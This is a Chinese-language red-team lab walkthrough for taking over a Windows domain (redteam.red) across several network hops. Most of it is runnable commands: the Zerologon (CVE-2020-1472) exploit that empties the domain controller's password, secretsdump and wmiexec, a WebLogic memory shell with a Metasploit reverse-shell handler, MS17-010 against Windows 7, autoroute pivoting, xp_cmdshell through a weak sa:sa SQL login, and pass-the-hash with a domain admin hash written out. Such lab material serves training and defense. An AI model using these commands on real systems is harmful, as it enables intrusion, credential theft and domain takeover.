域渗透-NetLogon域内提权漏洞（CVE-2020-1472）利用

1.环境介绍：

域主机：10.10.10.8
sqlserver:10.10.10.18
win7:10.10.10.7    10.10.20.7
weblogic: 10.10.20.12     192.168.0.133

2.利用脚本文件

前提：本机可以访问内网，可以访问10.10.10.0/24网段（二级隧道搭建完成）

在此目录下打开cmd;

首先将域控的机器账号密码置空：

python cve-2020-1472-exploit.py owa 10.10.10.8

利用机器用户及空密码先获取域管administrator用户的hash，留作后面使用

python secretsdump.py redteam.red/owa$@10.10.10.8 -just-dc -no-pass

获取域控shell权限：

python wmiexec.py -hashes  获取的域管administrator用户的hash  redteam.red/Administrator@10.10.10.8

3.利用MSF

3.1一次穿透-获取weblogic权限

通过nuclei扫描工具扫描出weblogic存在的可以利用的漏洞，然后使用WebLogic-GUI工具注入内存马，再通过冰蝎进行连接，，，，

然后进入我们的kali中的msf,首先冰蝎反弹shell到msf:

msf: 
msfconsole
use exploit/multi/handler
set payload java/meterpreter/reverse_tcp
set lhost 0.0.0.0
show options   (查看配置)
run -v     (运行之后进行监听等待反弹shell)

3.2 二次穿透-利用ms17-010获取win7权限

获取weblogic权限后设置路由：

run autoroute -s 10.10.20.0/24
run autoroute -p

background   回到后台
search ms17-010
use 0
set payload windows/x64/meterpreter/bind_tcp
set rhost 10.10.20.7
show options
run -v

3.3三次穿透-获取sqlserver权限

根据信息收集扫描出的结果，我们知道sqlserver有弱口令sa:sa；

background
search mssql     查询可以利用的mssql模块

利用获得win7的权限，设置路由，使得所有访问10.10.10.0/24网段的流量都经过session 2

sessions -i 2
run autoroute -s 10.10.10.0/24
run autoroute -p

background
use auxiliary/admin/mssql/mssql_sql
show options  先查看一下我们需要配置哪些选项
set rhost 10.10.10.18
set password sa
show options

结果显示成功利用，，，那么我们修改一下sql语句，进行我们想要运行的命令

set Sql EXEC xp_cmdshell 'whoami';
show options
run -v

3.4哈希传递攻击（pass-the-hash,pth）

哈希传递攻击是基于NTLM认证的一种攻击方式。哈希传递攻击的利用前提是我们获得了某个用户的密码哈希值，但是解不开明文。这时我们可以利用NTLM认证的一种缺陷，利用用户的密码哈希值来进行NTLM认证。在域环境中，大量计算机在安装时会使用相同的本地管理员账号和密码。因此，如果计算机的本地管理员账号密码相同，攻击者就能使用哈希传递攻击登录内网中的其他机器。

在域环境中：
只能是域管理员组内用户(可以是域管理员组内非administrator用户)的哈希值才能进行哈希传递攻击，攻击成功后，可以访问域内任何一台机器。

有些时候，当我们获取到了某台主机的 administrator 用户的密码哈希值 ，并且该主机的445端口打开着。我们则可以利用 exploit/windows/smb/psexec 模块用MSF进行远程登录(哈希传递攻击)

msf > use  exploit/windows/smb/psexec
set smbuser administrator
set rhost 10.10.10.8
set payload windows/meterpreter/bind_tcp
set smbpass aad3b435b51404eeaad3b435b51404ee:ae4c0d5fb959fda8f4cb1d14a8376af4   
-->这个域控管理员用户hash密码利用CVE-2020-1472漏洞已获得
show options
run -v